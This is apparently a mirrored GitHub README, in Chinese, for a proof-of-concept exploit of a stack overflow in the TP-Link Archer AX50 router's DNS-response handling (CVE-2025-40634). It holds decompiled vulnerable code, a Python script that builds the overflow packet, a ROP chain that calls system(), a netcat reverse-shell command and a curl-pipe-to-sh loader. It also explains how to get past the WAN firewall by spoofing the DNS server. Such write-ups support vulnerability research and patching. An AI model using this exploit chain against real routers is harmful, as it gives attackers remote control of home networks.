hacefresko/CVE-2025-40634

GitHub: hacefresko/CVE-2025-40634

针对 TP-Link Archer AX50 路由器 DNS 响应处理栈溢出漏洞的 PoC 利用代码,支持 LAN/WAN 两侧远程代码执行。

Stars: 29 | Forks: 7

# CVE-2025-40634 TP-Link Archer AX50 路由器在其固件版本 1.0.14 Build 20240108 rel.42655(4555) 上存在基于栈的缓冲区溢出漏洞,导致在 LAN 侧和 WAN 侧均可实现远程代码执行 (RCE)。该漏洞的根本原因与 CVE-2020-10881 相同,后者由 Flashback 团队发现,并在其相关的视频系列中进行了详细讲解(请参阅参考资料)。然而,利用过程略有不同,因此必须编写新的 exploit。 ![](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/991438c0fa124330.gif) ## 根本原因 该漏洞存在于 `conn-indicator` 二进制文件中,该文件负责通过定期发送 DNS 查询并在 `32000` 到 `61000` 之间的随机 UDP 端口监听其响应,来检查路由器是否连接到互联网。 接收并初步处理这些 DNS 响应数据包的函数是位于 `0x00405e3c` 的 `TPDns_RecvAndResolve()`。当使用 `recvfrom` 接收到数据包时,它被存储在 `buf` 中,其大小为 2960 字节。然后,它检查返回码是否正确 (`RCODE == 0`) 并检查数据包中的问题数和回答数 (`QDCOUNT` 和 `ANCOUNT`)。为了处理回答,它调用 `process_resolved_IP()` 并传递一个指向 `buf` 的指针,`answer_ptr`(指向 `buf` 中数据包内回答位置的指针),回答的数量 (`ANCOUNT`) 以及其他标志: ``` undefined4 * TPDns_RecvAndResolve(int socket,void *param_2,int param_3){ [...] byte buf [2960]; [...] while( true ) { recv_bytes = recvfrom(socket,buf + total_recv_bytes,0xb90 - total_recv_bytes,0,&sStack_50, local_38); piVar2 = __errno_location(); if (recv_bytes == 0) goto RECV_ERROR; if (recv_bytes < 0) break; total_recv_bytes = total_recv_bytes + recv_bytes; if (2959 < total_recv_bytes) goto PROCESS_DNS_RESP; } [...] /* Check that ANCOUNT is not 0 (answer contains at least one domain) */ puVar5 = (undefined4 *)0x0; if (buf._6_2_ != 0) { local_40 = 0; puVar5 = process_resolved_IP(buf,answer_ptr,(uint)buf._6_2_,&local_3c,&local_40); answer_ptr = answer_ptr + local_40; } [...] ``` 位于 `0x00405818` 的函数 `process_resolved_IP()` 遍历每个回答,并为每个回答调用 `DNS_answer_parser()`。它传递相同的 `buf` 指针,`answer`(指向 `buf` 中原始数据包内当前正在解析的回答的指针),以及指向 `current_answer`(大小为 256 字节的缓冲区)的指针作为参数: ``` undefined4 * process_resolved_IP(byte *buf,byte *answer_ptr,uint ANCOUNT,undefined4 *param_4,int *param_5){ [...] byte current_answer [256]; ushort answer_flags [5]; i = 0; puVar9 = (undefined4 *)0x0; puVar7 = (undefined4 *)0x0; answer = answer_ptr; do { /* Check if all answers have been parsed already */ if (i == ANCOUNT) { if (param_4 != (undefined4 *)0x0) { *param_4 = puVar7; } if (param_5 != (int *)0x0) { *param_5 = (int)answer - (int)answer_ptr; } return puVar9; } bytes_processed = DNS_answer_parser(buf,answer,current_answer,1); memcpy(answer_flags,answer + bytes_processed,10); uVar1 = answer_flags._4_4_; bytes_processed = bytes_processed + 10; uVar6 = (uint)answer_flags[4]; uVar8 = (uint)answer_flags[0]; if (uVar8 == 2) { LAB_00405924: DNS_answer_parser(buf,answer + bytes_processed,abStack_240,1); } else if (uVar8 < 3) { pbVar2 = answer + bytes_processed; if (uVar8 == 1) { sprintf((char *)abStack_240,"%u.%u.%u.%u",(uint)*pbVar2,(uint)pbVar2[1],(uint)pbVar2[2], (uint)pbVar2[3]); } } else { if (uVar8 == 5) goto LAB_00405924; if (uVar8 == 0x1c) { inet_ntop(10,answer,(char *)abStack_240,0xff); } } answer = answer + bytes_processed + uVar6; [...] i = i + 1; } while( true ); } ``` 位于 `0x004054e0` 的函数 `DNS_answer_parser()` 单独解析每个回答,该回答由表示为 `...` 的域名组成。例如,`example.com` 将表示为 `7example3com`。该函数循环遍历构成回答中域名的每一对 ``,并检查 `` 是否小于 63 (`domain_name & 0xc0 != 0`)。然后,它调用 `memcpy` 将 `answer` 中对应于 `` 的 `` 个字节复制到 `current_answer`。对于域名中的下一对 ``,它重复此过程。 ``` int DNS_answer_parser(byte *buf,byte *answer,byte *current_answer,int flag){ int iVar1; uint __n; int iVar2; uint uVar3; ushort flag_and_offset; byte domain_name; iVar2 = 0; do { domain_name = *answer; __n = (uint)domain_name; iVar1 = 1; if (__n == 0) { *current_answer = 0; LAB_004055b0: return iVar2 + iVar1; } /* Check if compression mode is used */ if ((domain_name & 0xc0) != 0) { flag_and_offset = CONCAT11(domain_name,answer[1]); DNS_answer_parser(buf,buf + (flag_and_offset & 0x3fff),current_answer,flag); iVar1 = 2; goto LAB_004055b0; } uVar3 = __n + 1; if (flag == 0) { *current_answer = '.'; memcpy(current_answer + 1,answer + 1,__n); __n = uVar3; } else { memcpy(current_answer,answer + 1,__n); } answer = answer + uVar3; current_answer = current_answer + __n; iVar2 = iVar2 + uVar3; flag = 0; } while( true ); } ``` 由于 `current_answer` 只有 256 字节长,攻击者有可能发送一个包含足够大域名的回答的数据包,从而导致缓冲区溢出。 ## 漏洞利用 利用过程与 Flashback 团队针对 CVE-2020-10881 在其视频系列中解释的过程非常相似(参见参考资料),但有一些关键区别: 1. 地址不相同 2. 代码不完全相同,因此某些时刻的偏移量和栈大小也不相同 3. 虽然第一个和第三个 ROP gadget 是相同的(位于不同的地址),但第二个在 `move` 指令上有所不同,因为现在作为 `memcpy()` 的 `count` 参数移动到 `$a2` 的寄存器是 `$s1` 而不是 `$s0`。 4. `process_resolved_IP()` 中的 `i` 变量被加载到 `$s5` 而不是 `$s8`。然后,当与 `$v1` 比较时,`$v1` 取自 `$sp+616`,这离溢出的缓冲区很远,因此必须在 answer 和 command 之后进一步破坏栈。 5. 文件系统是只读的,除了 `/tmp`,因此所有读写都必须在那里进行。这使得 reverse shell 无法小于 62 个字符,因此为了将其部署到目标,必须从 Web 服务器提供它,并向目标发送下载并执行它的命令。 考虑到这一点,无论如何我都会解释整个过程。 `conn-indicator` 二进制文件启用了 NX,并且除了自身之外都启用了 ASLR: ``` root@Archer_AX50:/proc/6541# cat maps 00400000-0040f000 r-xp 00000000 1f:0a 1430 /usr/sbin/conn-indicator 0041e000-0041f000 rw-p 0000e000 1f:0a 1430 /usr/sbin/conn-indicator 0041f000-00433000 rw-p 00000000 00:00 0 [heap] 778c2000-778d8000 r-xp 00000000 1f:0a 4681 /lib/libm-0.9.33.2.so 778d8000-778e7000 ---p 00000000 00:00 0 778e7000-778e8000 rw-p 00015000 1f:0a 4681 /lib/libm-0.9.33.2.so 778e8000-778fa000 r-xp 00000000 1f:0a 2506 /usr/lib/libz.so.1.2.7 778fa000-7790a000 ---p 00000000 00:00 0 7790a000-7790b000 rw-p 00012000 1f:0a 2506 /usr/lib/libz.so.1.2.7 7790b000-77a2b000 r-xp 00000000 1f:0a 2509 /usr/lib/libxml2.so.2.7.8 77a2b000-77a3a000 ---p 00000000 00:00 0 77a3a000-77a40000 rw-p 0011f000 1f:0a 2509 /usr/lib/libxml2.so.2.7.8 77a40000-77a46000 r-xp 00000000 1f:0a 2496 /usr/lib/libjson.so.0.0.1 77a46000-77a55000 ---p 00000000 00:00 0 77a55000-77a56000 rw-p 00005000 1f:0a 2496 /usr/lib/libjson.so.0.0.1 77a56000-77aac000 r-xp 00000000 1f:0a 4804 /lib/libuClibc-0.9.33.2.so 77aac000-77abb000 ---p 00000000 00:00 0 77abb000-77abc000 r--p 00055000 1f:0a 4804 /lib/libuClibc-0.9.33.2.so 77abc000-77abd000 rw-p 00056000 1f:0a 4804 /lib/libuClibc-0.9.33.2.so 77abd000-77ac2000 rw-p 00000000 00:00 0 77ac2000-77ad6000 r-xp 00000000 1f:0a 4872 /lib/libgcc_s.so.1 77ad6000-77ae5000 ---p 00000000 00:00 0 77ae5000-77ae6000 rw-p 00013000 1f:0a 4872 /lib/libgcc_s.so.1 77ae6000-77aef000 r-xp 00000000 1f:0a 4893 /lib/libuci.so 77aef000-77afe000 ---p 00000000 00:00 0 77afe000-77aff000 rw-p 00008000 1f:0a 4893 /lib/libuci.so 77aff000-77b01000 r-xp 00000000 1f:0a 4711 /lib/libblobmsg_json.so 77b01000-77b10000 ---p 00000000 00:00 0 77b10000-77b11000 rw-p 00001000 1f:0a 4711 /lib/libblobmsg_json.so 77b11000-77b15000 r-xp 00000000 1f:0a 4709 /lib/libubus.so 77b15000-77b24000 ---p 00000000 00:00 0 77b24000-77b25000 rw-p 00003000 1f:0a 4709 /lib/libubus.so 77b25000-77b2e000 r-xp 00000000 1f:0a 4714 /lib/libubox.so 77b2e000-77b3d000 ---p 00000000 00:00 0 77b3d000-77b3e000 rw-p 00008000 1f:0a 4714 /lib/libubox.so 77b3e000-77b41000 r-xp 00000000 1f:0a 4903 /lib/libdl-0.9.33.2.so 77b41000-77b50000 ---p 00000000 00:00 0 77b50000-77b51000 r--p 00002000 1f:0a 4903 /lib/libdl-0.9.33.2.so 77b51000-77b52000 rw-p 00003000 1f:0a 4903 /lib/libdl-0.9.33.2.so 77b52000-77b59000 r-xp 00000000 1f:0a 4837 /lib/ld-uClibc-0.9.33.2.so 77b65000-77b68000 rw-p 00000000 00:00 0 77b68000-77b69000 r--p 00006000 1f:0a 4837 /lib/ld-uClibc-0.9.33.2.so 77b69000-77b6a000 rw-p 00007000 1f:0a 4837 /lib/ld-uClibc-0.9.33.2.so 7fa04000-7fa25000 rw-p 00000000 00:00 0 [stack] 7ffff000-80000000 r-xp 00000000 00:00 0 [vdso] root@Archer_AX50:/proc/6541# exploit ``` 因此,利用此漏洞的策略是构建一个 ROP 链,以便我们可以用所需的命令执行 `system()`。 为了能够溢出缓冲区并破坏 `$ra` 寄存器,攻击者需要发送一个包含足够大域名的回答的 DNS 响应。关于 DNS 头部,唯一的要求是 `RCODE` 为 0 且 `ANCOUNT` 为 1,因为数据包只需要包含一个回答。例如,以下数据包将 `$ra` 寄存器破坏为 `0x50505050`: ``` # 每个域名的长度必须小于 63 DOMAIN_LEN = 0x3f TXID = [0, 0] FLAGS = [0, 0] QDCOUNT = [0, 0] ANCOUNT = [0, 1] NSCOUNT = [0, 0] ARCOUNT = [0, 0] # DNS 响应头 packet = [] packet += TXID packet += FLAGS packet += QDCOUNT packet += ANCOUNT packet += NSCOUNT packet += ARCOUNT # 4 个长度为 DOMAIN_LEN 的域名以填满缓冲区 for i in range (0,4): packet += [DOMAIN_LEN] for j in range(0, DOMAIN_LEN): packet += [0x41] # 用于填充剩余变量的域名 packet += [0x17] packet += [0x41] * 23 # 用于破坏栈的域名 packet += [0x28] packet += struct.pack(">I", 0x30303030) # s0 packet += struct.pack(">I", 0x31313131) # s1 packet += struct.pack(">I", 0x32323232) # s2 packet += struct.pack(">I", 0x33333333) # s3 packet += struct.pack(">I", 0x34343434) # s4 packet += struct.pack(">I", 0x35353535) # s5 packet += struct.pack(">I", 0x36363636) # s6 packet += struct.pack(">I", 0x37373737) # s7 packet += struct.pack(">I", 0x38383838) # s8 packet += struct.pack(">I", 0x50505050) # ra packet += [0] ``` 现在,由于二进制文件的地址在每次执行中始终相同并且具有可写区域,计划是将要执行的命令复制到那里,然后用它调用 `system()`。为此,使用以下 ROP 链: 1. 此 gadget 为 `memcpy()` 准备参数。下一个 gadget 的地址被加载到 `$ra`。然后,`$s2` 被移动到 `$v0`。这包含命令将被复制到的二进制文件的可写区域的地址,这将作为 `memcpy()` 的 `dest` 参数。然后,`memcpy` 的 `count` 参数从我们控制的栈地址加载到 `$s1`。最后,它跳转到下一个 gadget: ``` 00402700 lw ra, 0x2c(sp) 00402704 move v0, s2 00402708 lw s2, 0x28(sp) 0040270c lw s1, 0x24(sp) 00402710 lw s0, 0x20(sp) 00402714 jr ra 00402718 addiu sp, sp, 0x30 ``` 2. 此 gadget 继续为 `memcpy()` 准备参数,然后调用它。对应于二进制文件可写区域的 `memcpy()` 的 `dest` 参数(原本在 `$v0` 中)被加载到 `$a0` 作为 `memcpy()` 的第一个参数。在执行的这一刻,`$a1` 指向 DNS 响应数据包中 answer 的末尾,也就是我们放置命令字符串的地方,因此不需要准备 `src` 参数。然后,包含在上一个 gadget 中加载的 `count` 参数的 `$s1` 被移动到 `$a2` 作为 `memcpy()` 的第三个参数。最后,调用 `memcpy()` 并将命令字符串复制到二进制文件的可写区域。此 gadget 位于 `process_resolved_IP()` 的末尾,因此现在执行在其内部继续。现在需要安排栈,以便函数可以成功返回。为此,来自该函数的一些从栈和某些寄存器加载的变量被小心地放置在 payload 中,例如 `ANCOUNT`、`param_4`、`param_5` 和 `i`。返回时,`$ra` 的地址再次从栈中获取,我们在其中放置下一个 gadget 的地址以跳转到那里。 ``` 00405a98 move a0, v0 00405a9c jal :memcpy 00405aa0 _move a2, s1 [...] ``` 3. 此 gadget 为 `system()` 准备参数并调用它。在执行的这一刻,`$v0` 包含 `$s3` 的值,我们在其中放置了二进制文件中可写区域的地址,现在包含命令。因此,`$v0` 被移动到 `$a0`。然后,导入到二进制文件中的 `system()` 的地址从栈放置到 `$ra` 并调用 `system()`,从而实现代码执行。 ``` 004065e8 move a0, v0 004065ec clear v0 004065f0 lw ra, 0x1c(sp) 004065f4 jr ra ``` 现在,要在运行 busybox 的目标上执行的 reverse shell 如下: ``` rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc >/tmp/f ``` 然而,要执行的命令必须短于 62 个字符,并且由于文件系统仅在 `/tmp` 处可写,因此无法直接执行 reverse shell。相反,执行了一个加载器:`curl http://:/ | sh`,它从攻击者那里检索 reverse shell。 现在,唯一剩下的就是对 `conn-indicator` 正在监听的端口进行暴力破解,这可以轻松实现自动化。 至此,此 exploit 仅适用于 LAN 侧,因为 WAN 侧受防火墙保护。但是,有一种方法可以绕过此限制。为了让 `conn-indicator` 接收 DNS 响应,防火墙允许来自与二进制文件发送的 DNS 查询相同 IP 的数据包,即来自目标路由器正在使用的 DNS 的数据包。因此,为了绕过防火墙,足以发送伪装成 DNS 服务器的欺骗数据包,如果目标在局域网中,则可能是 `192.168.0.1`、`192.168.1.1` 或 `10.0.0.1`,而如果目标直接连接到互联网,则可能是 `8.8.8.8`、`1.1.1.1` 或其他常见的 DNS 服务器。 功能完整的 exploit 同时适用于 LAN 和 WAN。LAN 模式暴力破解从 `32000` 到 `61000` 的每个端口,而 WAN 模式暴力破解相同的端口以及存储在 `SPOOF_LIST` 中的所有可能的 DNS IP。应根据攻击者对目标的了解来编辑此列表,但是,如果有足够的时间(分钟),它应该涵盖 90% 的情况。 ## 参考资料 * [TP-Link Archer AX50 官方页面](https://www.tp-link.com/us/home-networking/wifi-router/archer-ax50/) * [Flashback Team - DNS Remote Code Execution: Finding the Vulnerability 👾 (Part 1)](https://youtu.be/xWoQ-E8n4B0?si=r-gsA6ofdT9RyXHp) * [Flashback Team - DNS Remote Code Execution: Writing the Exploit 💣 (Part 2)](https://youtu.be/YCOoc1U7kPA?si=8Zw6ppBvCTjjloVB)
标签:0day, Archer AX50, CISA项目, CVE-2025-40634, DNS劫持, Exploit, IoT安全, RCE, TP-Link, UDP协议, WAN侧攻击, 二进制分析, 云安全运维, 固件漏洞, 局域网攻击, 栈缓冲区溢出, 编程工具, 网络安全, 网络设备, 路由器安全, 远程代码执行, 逆向工具, 隐私保护